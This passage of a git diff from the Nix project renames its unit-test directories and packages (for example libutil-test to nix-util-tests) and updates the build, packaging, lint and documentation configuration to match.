`_NIX_TEST_UNIT_DATA`. Note that each executable only gets the data for its tests. diff --git a/maintainers/flake-module.nix b/maintainers/flake-module.nix index c0373dee4..a39a70890 100644 --- a/maintainers/flake-module.nix +++ b/maintainers/flake-module.nix @@ -429,65 +429,65 @@ ''^tests/nixos/ca-fd-leak/sender\.c'' ''^tests/nixos/ca-fd-leak/smuggler\.c'' ''^tests/nixos/user-sandboxing/attacker\.c'' - ''^src/libexpr-test-support/tests/libexpr\.hh'' - ''^src/libexpr-test-support/tests/value/context\.cc'' - ''^src/libexpr-test-support/tests/value/context\.hh'' - ''^src/libexpr-test/derived-path\.cc'' - ''^src/libexpr-test/error_traces\.cc'' - ''^src/libexpr-test/eval\.cc'' - ''^src/libexpr-test/json\.cc'' - ''^src/libexpr-test/main\.cc'' - ''^src/libexpr-test/primops\.cc'' - ''^src/libexpr-test/search-path\.cc'' - ''^src/libexpr-test/trivial\.cc'' - ''^src/libexpr-test/value/context\.cc'' - ''^src/libexpr-test/value/print\.cc'' - ''^src/libfetchers-test/public-key\.cc'' - ''^src/libflake-test/flakeref\.cc'' - ''^src/libflake-test/url-name\.cc'' - ''^src/libstore-test-support/tests/derived-path\.cc'' - ''^src/libstore-test-support/tests/derived-path\.hh'' - ''^src/libstore-test-support/tests/nix_api_store\.hh'' - ''^src/libstore-test-support/tests/outputs-spec\.cc'' - ''^src/libstore-test-support/tests/outputs-spec\.hh'' - ''^src/libstore-test-support/tests/path\.cc'' - ''^src/libstore-test-support/tests/path\.hh'' - ''^src/libstore-test-support/tests/protocol\.hh'' - ''^src/libstore-test/common-protocol\.cc'' - ''^src/libstore-test/content-address\.cc'' - ''^src/libstore-test/derivation\.cc'' - ''^src/libstore-test/derived-path\.cc'' - ''^src/libstore-test/downstream-placeholder\.cc'' - ''^src/libstore-test/machines\.cc'' - ''^src/libstore-test/nar-info-disk-cache\.cc'' - ''^src/libstore-test/nar-info\.cc'' - ''^src/libstore-test/outputs-spec\.cc'' - ''^src/libstore-test/path-info\.cc'' - ''^src/libstore-test/path\.cc'' - ''^src/libstore-test/serve-protocol\.cc'' - ''^src/libstore-test/worker-protocol\.cc'' - ''^src/libutil-test-support/tests/characterization\.hh'' - ''^src/libutil-test-support/tests/hash\.cc'' - ''^src/libutil-test-support/tests/hash\.hh'' - ''^src/libutil-test/args\.cc'' - ''^src/libutil-test/canon-path\.cc'' - ''^src/libutil-test/chunked-vector\.cc'' - ''^src/libutil-test/closure\.cc'' - ''^src/libutil-test/compression\.cc'' - ''^src/libutil-test/config\.cc'' - ''^src/libutil-test/file-content-address\.cc'' - ''^src/libutil-test/git\.cc'' - ''^src/libutil-test/hash\.cc'' - ''^src/libutil-test/hilite\.cc'' - ''^src/libutil-test/json-utils\.cc'' - ''^src/libutil-test/logging\.cc'' - ''^src/libutil-test/lru-cache\.cc'' - ''^src/libutil-test/pool\.cc'' - ''^src/libutil-test/references\.cc'' - ''^src/libutil-test/suggestions\.cc'' - ''^src/libutil-test/tests\.cc'' - ''^src/libutil-test/url\.cc'' - ''^src/libutil-test/xml-writer\.cc'' + ''^src/nix-expr-test-support/tests/libexpr\.hh'' + ''^src/nix-expr-test-support/tests/value/context\.cc'' + ''^src/nix-expr-test-support/tests/value/context\.hh'' + ''^src/nix-expr-tests/derived-path\.cc'' + ''^src/nix-expr-tests/error_traces\.cc'' + ''^src/nix-expr-tests/eval\.cc'' + ''^src/nix-expr-tests/json\.cc'' + ''^src/nix-expr-tests/main\.cc'' + ''^src/nix-expr-tests/primops\.cc'' + ''^src/nix-expr-tests/search-path\.cc'' + ''^src/nix-expr-tests/trivial\.cc'' + ''^src/nix-expr-tests/value/context\.cc'' + ''^src/nix-expr-tests/value/print\.cc'' + ''^src/nix-fetchers-tests/public-key\.cc'' + ''^src/nix-flake-tests/flakeref\.cc'' + ''^src/nix-flake-tests/url-name\.cc'' + ''^src/nix-store-test-support/tests/derived-path\.cc'' + ''^src/nix-store-test-support/tests/derived-path\.hh'' + ''^src/nix-store-test-support/tests/nix_api_store\.hh'' + ''^src/nix-store-test-support/tests/outputs-spec\.cc'' + ''^src/nix-store-test-support/tests/outputs-spec\.hh'' + ''^src/nix-store-test-support/tests/path\.cc'' + ''^src/nix-store-test-support/tests/path\.hh'' + ''^src/nix-store-test-support/tests/protocol\.hh'' + ''^src/nix-store-tests/common-protocol\.cc'' + ''^src/nix-store-tests/content-address\.cc'' + ''^src/nix-store-tests/derivation\.cc'' + ''^src/nix-store-tests/derived-path\.cc'' + ''^src/nix-store-tests/downstream-placeholder\.cc'' + ''^src/nix-store-tests/machines\.cc'' + ''^src/nix-store-tests/nar-info-disk-cache\.cc'' + ''^src/nix-store-tests/nar-info\.cc'' + ''^src/nix-store-tests/outputs-spec\.cc'' + ''^src/nix-store-tests/path-info\.cc'' + ''^src/nix-store-tests/path\.cc'' + ''^src/nix-store-tests/serve-protocol\.cc'' + ''^src/nix-store-tests/worker-protocol\.cc'' + ''^src/nix-util-test-support/tests/characterization\.hh'' + ''^src/nix-util-test-support/tests/hash\.cc'' + ''^src/nix-util-test-support/tests/hash\.hh'' + ''^src/nix-util-tests/args\.cc'' + ''^src/nix-util-tests/canon-path\.cc'' + ''^src/nix-util-tests/chunked-vector\.cc'' + ''^src/nix-util-tests/closure\.cc'' + ''^src/nix-util-tests/compression\.cc'' + ''^src/nix-util-tests/config\.cc'' + ''^src/nix-util-tests/file-content-address\.cc'' + ''^src/nix-util-tests/git\.cc'' + ''^src/nix-util-tests/hash\.cc'' + ''^src/nix-util-tests/hilite\.cc'' + ''^src/nix-util-tests/json-utils\.cc'' + ''^src/nix-util-tests/logging\.cc'' + ''^src/nix-util-tests/lru-cache\.cc'' + ''^src/nix-util-tests/pool\.cc'' + ''^src/nix-util-tests/references\.cc'' + ''^src/nix-util-tests/suggestions\.cc'' + ''^src/nix-util-tests/tests\.cc'' + ''^src/nix-util-tests/url\.cc'' + ''^src/nix-util-tests/xml-writer\.cc'' ]; }; shellcheck = { @@ -666,7 +666,7 @@ ''^tests/functional/user-envs\.sh$'' ''^tests/functional/why-depends\.sh$'' ''^tests/functional/zstd\.sh$'' - ''^src/libutil-test/data/git/check-data\.sh$'' + ''^src/nix-util-tests/data/git/check-data\.sh$'' ]; }; # TODO: nixfmt, https://github.com/NixOS/nixfmt/issues/153 diff --git a/meson.build b/meson.build index fb38d7ef2..1690bb50a 100644 --- a/meson.build +++ b/meson.build @@ -25,11 +25,11 @@ subproject('libexpr-c') subproject('perl') # Testing -subproject('libutil-test-support') -subproject('libutil-test') -subproject('libstore-test-support') -subproject('libstore-test') -subproject('libfetchers-test') -subproject('libexpr-test-support') -subproject('libexpr-test') -subproject('libflake-test') +subproject('nix-util-test-support') +subproject('nix-util-tests') +subproject('nix-store-test-support') +subproject('nix-store-tests') +subproject('nix-fetchers-tests') +subproject('nix-expr-test-support') +subproject('nix-expr-tests') +subproject('nix-flake-tests') diff --git a/packaging/components.nix b/packaging/components.nix index 73f0d24e1..db50d6b22 100644 --- a/packaging/components.nix +++ b/packaging/components.nix @@ -9,24 +9,24 @@ in nix-util = callPackage ../src/libutil/package.nix { }; nix-util-c = callPackage ../src/libutil-c/package.nix { }; - nix-util-test-support = callPackage ../src/libutil-test-support/package.nix { }; - nix-util-test = callPackage ../src/libutil-test/package.nix { }; + nix-util-test-support = callPackage ../src/nix-util-test-support/package.nix { }; + nix-util-tests = callPackage ../src/nix-util-tests/package.nix { }; nix-store = callPackage ../src/libstore/package.nix { }; nix-store-c = callPackage ../src/libstore-c/package.nix { }; - nix-store-test-support = callPackage ../src/libstore-test-support/package.nix { }; - nix-store-test = callPackage ../src/libstore-test/package.nix { }; + nix-store-test-support = callPackage ../src/nix-store-test-support/package.nix { }; + nix-store-tests = callPackage ../src/nix-store-tests/package.nix { }; nix-fetchers = callPackage ../src/libfetchers/package.nix { }; - nix-fetchers-test = callPackage ../src/libfetchers-test/package.nix { }; + nix-fetchers-tests = callPackage ../src/nix-fetchers-tests/package.nix { }; nix-expr = callPackage ../src/libexpr/package.nix { }; nix-expr-c = callPackage ../src/libexpr-c/package.nix { }; - nix-expr-test-support = callPackage ../src/libexpr-test-support/package.nix { }; - nix-expr-test = callPackage ../src/libexpr-test/package.nix { }; + nix-expr-test-support = callPackage ../src/nix-expr-test-support/package.nix { }; + nix-expr-tests = callPackage ../src/nix-expr-tests/package.nix { }; nix-flake = callPackage ../src/libflake/package.nix { }; - nix-flake-test = callPackage ../src/libflake-test/package.nix { }; + nix-flake-tests = callPackage ../src/nix-flake-tests/package.nix { }; nix-internal-api-docs = callPackage ../src/internal-api-docs/package.nix { }; nix-external-api-docs = callPackage ../src/external-api-docs/package.nix { }; diff --git a/packaging/hydra.nix b/packaging/hydra.nix index 244a4ad3f..97f2c59b7 100644 --- a/packaging/hydra.nix +++ b/packaging/hydra.nix @@ -38,19 +38,19 @@ let "nix-util" "nix-util-c" "nix-util-test-support" - "nix-util-test" + "nix-util-tests" "nix-store" "nix-store-c" "nix-store-test-support" - "nix-store-test" + "nix-store-tests" "nix-fetchers" - "nix-fetchers-test" + "nix-fetchers-tests" "nix-expr" "nix-expr-c" "nix-expr-test-support" - "nix-expr-test" + "nix-expr-tests" "nix-flake" - "nix-flake-test" + "nix-flake-tests" ]; in { diff --git a/src/internal-api-docs/doxygen.cfg.in b/src/internal-api-docs/doxygen.cfg.in index 395e43fe1..f1ef75b38 100644 --- a/src/internal-api-docs/doxygen.cfg.in +++ b/src/internal-api-docs/doxygen.cfg.in @@ -41,21 +41,21 @@ INPUT = \ @src@/libcmd \ @src@/libexpr \ @src@/libexpr/flake \ - @src@/libexpr-test \ - @src@/libexpr-test/value \ - @src@/libexpr-test-support/test \ - @src@/libexpr-test-support/test/value \ + @src@/nix-expr-tests \ + @src@/nix-expr-tests/value \ + @src@/nix-expr-test-support/test \ + @src@/nix-expr-test-support/test/value \ @src@/libexpr/value \ @src@/libfetchers \ @src@/libmain \ @src@/libstore \ @src@/libstore/build \ @src@/libstore/builtins \ - @src@/libstore-test \ - @src@/libstore-test-support/test \ + @src@/nix-store-tests \ + @src@/nix-store-test-support/test \ @src@/libutil \ - @src@/libutil-test \ - @src@/libutil-test-support/test \ + @src@/nix-util-tests \ + @src@/nix-util-test-support/test \ @src@/nix \ @src@/nix-env \ @src@/nix-store diff --git a/src/libexpr-test-support/.version b/src/nix-expr-test-support/.version similarity index 100% rename from src/libexpr-test-support/.version rename to src/nix-expr-test-support/.version diff --git a/src/libexpr-test-support/build-utils-meson b/src/nix-expr-test-support/build-utils-meson similarity index 100% rename from src/libexpr-test-support/build-utils-meson rename to src/nix-expr-test-support/build-utils-meson diff --git a/src/libexpr-test-support/meson.build b/src/nix-expr-test-support/meson.build similarity index 100% rename from src/libexpr-test-support/meson.build rename to src/nix-expr-test-support/meson.build diff --git a/src/libexpr-test-support/package.nix b/src/nix-expr-test-support/package.nix similarity index 100% rename from src/libexpr-test-support/package.nix rename to src/nix-expr-test-support/package.nix diff --git a/src/libexpr-test-support/tests/libexpr.hh b/src/nix-expr-test-support/tests/libexpr.hh similarity index 100% rename from src/libexpr-test-support/tests/libexpr.hh rename to src/nix-expr-test-support/tests/libexpr.hh diff --git a/src/libexpr-test-support/tests/nix_api_expr.hh b/src/nix-expr-test-support/tests/nix_api_expr.hh similarity index 100% rename from src/libexpr-test-support/tests/nix_api_expr.hh rename to src/nix-expr-test-support/tests/nix_api_expr.hh diff --git a/src/libexpr-test-support/tests/value/context.cc b/src/nix-expr-test-support/tests/value/context.cc similarity index 100% rename from src/libexpr-test-support/tests/value/context.cc rename to src/nix-expr-test-support/tests/value/context.cc diff --git a/src/libexpr-test-support/tests/value/context.hh b/src/nix-expr-test-support/tests/value/context.hh similarity index 100% rename from src/libexpr-test-support/tests/value/context.hh rename to src/nix-expr-test-support/tests/value/context.hh diff --git a/src/libexpr-test/.version b/src/nix-expr-tests/.version similarity index 100% rename from src/libexpr-test/.version rename to src/nix-expr-tests/.version diff --git a/src/libexpr-test/build-utils-meson b/src/nix-expr-tests/build-utils-meson similarity index 100% rename from src/libexpr-test/build-utils-meson rename to src/nix-expr-tests/build-utils-meson diff --git a/src/libexpr-test/data/.gitkeep b/src/nix-expr-tests/data/.gitkeep similarity index 100% rename from src/libexpr-test/data/.gitkeep rename to src/nix-expr-tests/data/.gitkeep diff --git a/src/libexpr-test/derived-path.cc b/src/nix-expr-tests/derived-path.cc similarity index 100% rename from src/libexpr-test/derived-path.cc rename to src/nix-expr-tests/derived-path.cc diff --git a/src/libexpr-test/error_traces.cc b/src/nix-expr-tests/error_traces.cc similarity index 100% rename from src/libexpr-test/error_traces.cc rename to src/nix-expr-tests/error_traces.cc diff --git a/src/libexpr-test/eval.cc b/src/nix-expr-tests/eval.cc similarity index 100% rename from src/libexpr-test/eval.cc rename to src/nix-expr-tests/eval.cc diff --git a/src/libexpr-test/json.cc b/src/nix-expr-tests/json.cc similarity index 100% rename from src/libexpr-test/json.cc rename to src/nix-expr-tests/json.cc diff --git a/src/libexpr-test/main.cc b/src/nix-expr-tests/main.cc similarity index 100% rename from src/libexpr-test/main.cc rename to src/nix-expr-tests/main.cc diff --git a/src/libexpr-test/meson.build b/src/nix-expr-tests/meson.build similarity index 98% rename from src/libexpr-test/meson.build rename to src/nix-expr-tests/meson.build index 04b60f6d6..04b5ae66f 100644 --- a/src/libexpr-test/meson.build +++ b/src/nix-expr-tests/meson.build @@ -1,4 +1,4 @@ -project('nix-expr-test', 'cpp', +project('nix-expr-tests', 'cpp', version : files('.version'), default_options : [ 'cpp_std=c++2a', diff --git a/src/libexpr-test/nix_api_expr.cc b/src/nix-expr-tests/nix_api_expr.cc similarity index 100% rename from src/libexpr-test/nix_api_expr.cc rename to src/nix-expr-tests/nix_api_expr.cc diff --git a/src/libexpr-test/nix_api_external.cc b/src/nix-expr-tests/nix_api_external.cc similarity index 100% rename from src/libexpr-test/nix_api_external.cc rename to src/nix-expr-tests/nix_api_external.cc diff --git a/src/libexpr-test/nix_api_value.cc b/src/nix-expr-tests/nix_api_value.cc similarity index 100% rename from src/libexpr-test/nix_api_value.cc rename to src/nix-expr-tests/nix_api_value.cc diff --git a/src/libexpr-test/package.nix b/src/nix-expr-tests/package.nix similarity index 97% rename from src/libexpr-test/package.nix rename to src/nix-expr-tests/package.nix index 12f4dd506..679b6fb2a 100644 --- a/src/libexpr-test/package.nix +++ b/src/nix-expr-tests/package.nix @@ -39,7 +39,7 @@ let in mkDerivation (finalAttrs: { - pname = "nix-expr-test"; + pname = "nix-expr-tests"; inherit version; src = fileset.toSource { @@ -98,7 +98,7 @@ mkDerivation (finalAttrs: { } '' PATH="${lib.makeBinPath [ finalAttrs.finalPackage ]}:$PATH" export _NIX_TEST_UNIT_DATA=${./data} - nix-expr-test + nix-expr-tests touch $out ''; }; diff --git a/src/libexpr-test/primops.cc b/src/nix-expr-tests/primops.cc similarity index 100% rename from src/libexpr-test/primops.cc rename to src/nix-expr-tests/primops.cc diff --git a/src/libexpr-test/search-path.cc b/src/nix-expr-tests/search-path.cc similarity index 100% rename from src/libexpr-test/search-path.cc rename to src/nix-expr-tests/search-path.cc diff --git a/src/libexpr-test/trivial.cc b/src/nix-expr-tests/trivial.cc similarity index 100% rename from src/libexpr-test/trivial.cc rename to src/nix-expr-tests/trivial.cc diff --git a/src/libexpr-test/value/context.cc b/src/nix-expr-tests/value/context.cc similarity index 100% rename from src/libexpr-test/value/context.cc rename to src/nix-expr-tests/value/context.cc diff --git a/src/libexpr-test/value/print.cc b/src/nix-expr-tests/value/print.cc similarity index 100% rename from src/libexpr-test/value/print.cc rename to src/nix-expr-tests/value/print.cc diff --git a/src/libexpr-test/value/value.cc b/src/nix-expr-tests/value/value.cc similarity index 100% rename from src/libexpr-test/value/value.cc rename to src/nix-expr-tests/value/value.cc diff --git a/src/libfetchers-test/.version b/src/nix-fetchers-tests/.version similarity index 100% rename from src/libfetchers-test/.version rename to src/nix-fetchers-tests/.version diff --git a/src/libfetchers-test/build-utils-meson b/src/nix-fetchers-tests/build-utils-meson similarity index 100% rename from src/libfetchers-test/build-utils-meson rename to src/nix-fetchers-tests/build-utils-meson diff --git a/src/libfetchers-test/data/public-key/defaultType.json b/src/nix-fetchers-tests/data/public-key/defaultType.json similarity index 100% rename from src/libfetchers-test/data/public-key/defaultType.json rename to src/nix-fetchers-tests/data/public-key/defaultType.json diff --git a/src/libfetchers-test/data/public-key/noRoundTrip.json b/src/nix-fetchers-tests/data/public-key/noRoundTrip.json similarity index 100% rename from src/libfetchers-test/data/public-key/noRoundTrip.json rename to src/nix-fetchers-tests/data/public-key/noRoundTrip.json diff --git a/src/libfetchers-test/data/public-key/simple.json b/src/nix-fetchers-tests/data/public-key/simple.json similarity index 100% rename from src/libfetchers-test/data/public-key/simple.json rename to src/nix-fetchers-tests/data/public-key/simple.json diff --git a/src/libfetchers-test/meson.build b/src/nix-fetchers-tests/meson.build similarity index 97% rename from src/libfetchers-test/meson.build rename to src/nix-fetchers-tests/meson.build index 785754b34..c4f18e278 100644 --- a/src/libfetchers-test/meson.build +++ b/src/nix-fetchers-tests/meson.build @@ -1,4 +1,4 @@ -project('nix-fetchers-test', 'cpp', +project('nix-fetchers-tests', 'cpp', version : files('.version'), default_options : [ 'cpp_std=c++2a', diff --git a/src/libfetchers-test/package.nix b/src/nix-fetchers-tests/package.nix similarity index 97% rename from src/libfetchers-test/package.nix rename to src/nix-fetchers-tests/package.nix index 78d8ab490..5cf18ce33 100644 --- a/src/libfetchers-test/package.nix +++ b/src/nix-fetchers-tests/package.nix @@ -38,7 +38,7 @@ let in mkDerivation (finalAttrs: { - pname = "nix-fetchers-test"; + pname = "nix-fetchers-tests"; inherit version; src = fileset.toSource { @@ -96,7 +96,7 @@ mkDerivation (finalAttrs: { } '' PATH="${lib.makeBinPath [ finalAttrs.finalPackage ]}:$PATH" export _NIX_TEST_UNIT_DATA=${./data} - nix-fetchers-test + nix-fetchers-tests touch $out ''; }; diff --git a/src/libfetchers-test/public-key.cc b/src/nix-fetchers-tests/public-key.cc similarity index 100% rename from src/libfetchers-test/public-key.cc rename to src/nix-fetchers-tests/public-key.cc diff --git a/src/libflake-test/.version b/src/nix-flake-tests/.version similarity index 100% rename from src/libflake-test/.version rename to src/nix-flake-tests/.version diff --git a/src/libflake-test/build-utils-meson b/src/nix-flake-tests/build-utils-meson similarity index 100% rename from src/libflake-test/build-utils-meson rename to src/nix-flake-tests/build-utils-meson diff --git a/src/libflake-test/data/.gitkeep b/src/nix-flake-tests/data/.gitkeep similarity index 100% rename from src/libflake-test/data/.gitkeep rename to src/nix-flake-tests/data/.gitkeep diff --git a/src/libflake-test/flakeref.cc b/src/nix-flake-tests/flakeref.cc similarity index 100% rename from src/libflake-test/flakeref.cc rename to src/nix-flake-tests/flakeref.cc diff --git a/src/libflake-test/meson.build b/src/nix-flake-tests/meson.build similarity index 97% rename from src/libflake-test/meson.build rename to src/nix-flake-tests/meson.build index b8221b2ad..5afba2fec 100644 --- a/src/libflake-test/meson.build +++ b/src/nix-flake-tests/meson.build @@ -1,4 +1,4 @@ -project('nix-flake-test', 'cpp', +project('nix-flake-tests', 'cpp', version : files('.version'), default_options : [ 'cpp_std=c++2a', diff --git a/src/libflake-test/package.nix b/src/nix-flake-tests/package.nix similarity index 97% rename from src/libflake-test/package.nix rename to src/nix-flake-tests/package.nix index 4fb190706..21af753ae 100644 --- a/src/libflake-test/package.nix +++ b/src/nix-flake-tests/package.nix @@ -38,7 +38,7 @@ let in mkDerivation (finalAttrs: { - pname = "nix-flake-test"; + pname = "nix-flake-tests"; inherit version; src = fileset.toSource { @@ -96,7 +96,7 @@ mkDerivation (finalAttrs: { } '' PATH="${lib.makeBinPath [ finalAttrs.finalPackage ]}:$PATH" export _NIX_TEST_UNIT_DATA=${./data} - nix-flake-test + nix-flake-tests touch $out ''; }; diff --git a/src/libflake-test/url-name.cc b/src/nix-flake-tests/url-name.cc similarity index 100% rename from src/libflake-test/url-name.cc rename to src/nix-flake-tests/url-name.cc diff --git a/src/libstore-test-support/.version b/src/nix-store-test-support/.version similarity index 100% rename from src/libstore-test-support/.version rename to src/nix-store-test-support/.version diff --git a/src/libstore-test-support/build-utils-meson b/src/nix-store-test-support/build-utils-meson similarity index 100% rename from src/libstore-test-support/build-utils-meson rename to src/nix-store-test-support/build-utils-meson diff --git a/src/libstore-test-support/meson.build b/src/nix-store-test-support/meson.build similarity index 100% rename from src/libstore-test-support/meson.build rename to src/nix-store-test-support/meson.build diff --git a/src/libstore-test-support/package.nix b/src/nix-store-test-support/package.nix similarity index 100% rename from src/libstore-test-support/package.nix rename to src/nix-store-test-support/package.nix diff --git a/src/libstore-test-support/tests/derived-path.cc b/src/nix-store-test-support/tests/derived-path.cc similarity index 100% rename from src/libstore-test-support/tests/derived-path.cc rename to src/nix-store-test-support/tests/derived-path.cc diff --git a/src/libstore-test-support/tests/derived-path.hh b/src/nix-store-test-support/tests/derived-path.hh similarity index 100% rename from src/libstore-test-support/tests/derived-path.hh rename to src/nix-store-test-support/tests/derived-path.hh diff --git a/src/libstore-test-support/tests/libstore.hh b/src/nix-store-test-support/tests/libstore.hh similarity index 100% rename from src/libstore-test-support/tests/libstore.hh rename to src/nix-store-test-support/tests/libstore.hh diff --git a/src/libstore-test-support/tests/nix_api_store.hh b/src/nix-store-test-support/tests/nix_api_store.hh similarity index 100% rename from src/libstore-test-support/tests/nix_api_store.hh rename to src/nix-store-test-support/tests/nix_api_store.hh diff --git a/src/libstore-test-support/tests/outputs-spec.cc b/src/nix-store-test-support/tests/outputs-spec.cc similarity index 100% rename from src/libstore-test-support/tests/outputs-spec.cc rename to src/nix-store-test-support/tests/outputs-spec.cc diff --git a/src/libstore-test-support/tests/outputs-spec.hh b/src/nix-store-test-support/tests/outputs-spec.hh similarity index 100% rename from src/libstore-test-support/tests/outputs-spec.hh rename to src/nix-store-test-support/tests/outputs-spec.hh diff --git a/src/libstore-test-support/tests/path.cc b/src/nix-store-test-support/tests/path.cc similarity index 100% rename from src/libstore-test-support/tests/path.cc rename to src/nix-store-test-support/tests/path.cc diff --git a/src/libstore-test-support/tests/path.hh b/src/nix-store-test-support/tests/path.hh similarity index 100% rename from src/libstore-test-support/tests/path.hh rename to src/nix-store-test-support/tests/path.hh diff --git a/src/libstore-test-support/tests/protocol.hh b/src/nix-store-test-support/tests/protocol.hh similarity index 100% rename from src/libstore-test-support/tests/protocol.hh rename to src/nix-store-test-support/tests/protocol.hh diff --git a/src/libstore-test/.version b/src/nix-store-tests/.version similarity index 100% rename from src/libstore-test/.version rename to src/nix-store-tests/.version diff --git a/src/libstore-test/build-utils-meson b/src/nix-store-tests/build-utils-meson similarity index 100% rename from src/libstore-test/build-utils-meson rename to src/nix-store-tests/build-utils-meson diff --git a/src/libstore-test/common-protocol.cc b/src/nix-store-tests/common-protocol.cc similarity index 100% rename from src/libstore-test/common-protocol.cc rename to src/nix-store-tests/common-protocol.cc diff --git a/src/libstore-test/content-address.cc b/src/nix-store-tests/content-address.cc similarity index 100% rename from src/libstore-test/content-address.cc rename to src/nix-store-tests/content-address.cc diff --git a/src/libstore-test/data/common-protocol/content-address.bin b/src/nix-store-tests/data/common-protocol/content-address.bin similarity index 100% rename from src/libstore-test/data/common-protocol/content-address.bin rename to src/nix-store-tests/data/common-protocol/content-address.bin diff --git a/src/libstore-test/data/common-protocol/drv-output.bin b/src/nix-store-tests/data/common-protocol/drv-output.bin similarity index 100% rename from src/libstore-test/data/common-protocol/drv-output.bin rename to src/nix-store-tests/data/common-protocol/drv-output.bin diff --git a/src/libstore-test/data/common-protocol/optional-content-address.bin b/src/nix-store-tests/data/common-protocol/optional-content-address.bin similarity index 100% rename from src/libstore-test/data/common-protocol/optional-content-address.bin rename to src/nix-store-tests/data/common-protocol/optional-content-address.bin diff --git a/src/libstore-test/data/common-protocol/optional-store-path.bin b/src/nix-store-tests/data/common-protocol/optional-store-path.bin similarity index 100% rename from src/libstore-test/data/common-protocol/optional-store-path.bin rename to src/nix-store-tests/data/common-protocol/optional-store-path.bin diff --git a/src/libstore-test/data/common-protocol/realisation.bin b/src/nix-store-tests/data/common-protocol/realisation.bin similarity index 100% rename from src/libstore-test/data/common-protocol/realisation.bin rename to src/nix-store-tests/data/common-protocol/realisation.bin diff --git a/src/libstore-test/data/common-protocol/set.bin b/src/nix-store-tests/data/common-protocol/set.bin similarity index 100% rename from src/libstore-test/data/common-protocol/set.bin rename to src/nix-store-tests/data/common-protocol/set.bin diff --git a/src/libstore-test/data/common-protocol/store-path.bin b/src/nix-store-tests/data/common-protocol/store-path.bin similarity index 100% rename from src/libstore-test/data/common-protocol/store-path.bin rename to src/nix-store-tests/data/common-protocol/store-path.bin diff --git a/src/libstore-test/data/common-protocol/string.bin b/src/nix-store-tests/data/common-protocol/string.bin similarity index 100% rename from src/libstore-test/data/common-protocol/string.bin rename to src/nix-store-tests/data/common-protocol/string.bin diff --git a/src/libstore-test/data/common-protocol/vector.bin b/src/nix-store-tests/data/common-protocol/vector.bin similarity index 100% rename from src/libstore-test/data/common-protocol/vector.bin rename to src/nix-store-tests/data/common-protocol/vector.bin diff --git a/src/libstore-test/data/derivation/advanced-attributes-defaults.drv b/src/nix-store-tests/data/derivation/advanced-attributes-defaults.drv similarity index 100% rename from src/libstore-test/data/derivation/advanced-attributes-defaults.drv rename to src/nix-store-tests/data/derivation/advanced-attributes-defaults.drv diff --git a/src/libstore-test/data/derivation/advanced-attributes-defaults.json b/src/nix-store-tests/data/derivation/advanced-attributes-defaults.json similarity index 100% rename from src/libstore-test/data/derivation/advanced-attributes-defaults.json rename to src/nix-store-tests/data/derivation/advanced-attributes-defaults.json diff --git a/src/libstore-test/data/derivation/advanced-attributes-structured-attrs-defaults.drv b/src/nix-store-tests/data/derivation/advanced-attributes-structured-attrs-defaults.drv similarity index 100% rename from src/libstore-test/data/derivation/advanced-attributes-structured-attrs-defaults.drv rename to src/nix-store-tests/data/derivation/advanced-attributes-structured-attrs-defaults.drv diff --git a/src/libstore-test/data/derivation/advanced-attributes-structured-attrs-defaults.json b/src/nix-store-tests/data/derivation/advanced-attributes-structured-attrs-defaults.json similarity index 100% rename from src/libstore-test/data/derivation/advanced-attributes-structured-attrs-defaults.json rename to src/nix-store-tests/data/derivation/advanced-attributes-structured-attrs-defaults.json diff --git a/src/libstore-test/data/derivation/advanced-attributes-structured-attrs.drv b/src/nix-store-tests/data/derivation/advanced-attributes-structured-attrs.drv similarity index 100% rename from src/libstore-test/data/derivation/advanced-attributes-structured-attrs.drv rename to src/nix-store-tests/data/derivation/advanced-attributes-structured-attrs.drv diff --git a/src/libstore-test/data/derivation/advanced-attributes-structured-attrs.json b/src/nix-store-tests/data/derivation/advanced-attributes-structured-attrs.json similarity index 100% rename from src/libstore-test/data/derivation/advanced-attributes-structured-attrs.json rename to src/nix-store-tests/data/derivation/advanced-attributes-structured-attrs.json diff --git a/src/libstore-test/data/derivation/advanced-attributes.drv b/src/nix-store-tests/data/derivation/advanced-attributes.drv similarity index 100% rename from src/libstore-test/data/derivation/advanced-attributes.drv rename to src/nix-store-tests/data/derivation/advanced-attributes.drv diff --git a/src/libstore-test/data/derivation/bad-old-version-dyn-deps.drv b/src/nix-store-tests/data/derivation/bad-old-version-dyn-deps.drv similarity index 100% rename from src/libstore-test/data/derivation/bad-old-version-dyn-deps.drv rename to src/nix-store-tests/data/derivation/bad-old-version-dyn-deps.drv diff --git a/src/libstore-test/data/derivation/bad-version.drv b/src/nix-store-tests/data/derivation/bad-version.drv similarity index 100% rename from src/libstore-test/data/derivation/bad-version.drv rename to src/nix-store-tests/data/derivation/bad-version.drv diff --git a/src/libstore-test/data/derivation/dynDerivationDeps.drv b/src/nix-store-tests/data/derivation/dynDerivationDeps.drv similarity index 100% rename from src/libstore-test/data/derivation/dynDerivationDeps.drv rename to src/nix-store-tests/data/derivation/dynDerivationDeps.drv diff --git a/src/libstore-test/data/derivation/dynDerivationDeps.json b/src/nix-store-tests/data/derivation/dynDerivationDeps.json similarity index 100% rename from src/libstore-test/data/derivation/dynDerivationDeps.json rename to src/nix-store-tests/data/derivation/dynDerivationDeps.json diff --git a/src/libstore-test/data/derivation/output-caFixedFlat.json b/src/nix-store-tests/data/derivation/output-caFixedFlat.json similarity index 100% rename from src/libstore-test/data/derivation/output-caFixedFlat.json rename to src/nix-store-tests/data/derivation/output-caFixedFlat.json diff --git a/src/libstore-test/data/derivation/output-caFixedNAR.json b/src/nix-store-tests/data/derivation/output-caFixedNAR.json similarity index 100% rename from src/libstore-test/data/derivation/output-caFixedNAR.json rename to src/nix-store-tests/data/derivation/output-caFixedNAR.json diff --git a/src/libstore-test/data/derivation/output-caFixedText.json b/src/nix-store-tests/data/derivation/output-caFixedText.json similarity index 100% rename from src/libstore-test/data/derivation/output-caFixedText.json rename to src/nix-store-tests/data/derivation/output-caFixedText.json diff --git a/src/libstore-test/data/derivation/output-caFloating.json b/src/nix-store-tests/data/derivation/output-caFloating.json similarity index 100% rename from src/libstore-test/data/derivation/output-caFloating.json rename to src/nix-store-tests/data/derivation/output-caFloating.json diff --git a/src/libstore-test/data/derivation/output-deferred.json b/src/nix-store-tests/data/derivation/output-deferred.json similarity index 100% rename from src/libstore-test/data/derivation/output-deferred.json rename to src/nix-store-tests/data/derivation/output-deferred.json diff --git a/src/libstore-test/data/derivation/output-impure.json b/src/nix-store-tests/data/derivation/output-impure.json similarity index 100% rename from src/libstore-test/data/derivation/output-impure.json rename to src/nix-store-tests/data/derivation/output-impure.json diff --git a/src/libstore-test/data/derivation/output-inputAddressed.json b/src/nix-store-tests/data/derivation/output-inputAddressed.json similarity index 100% rename from 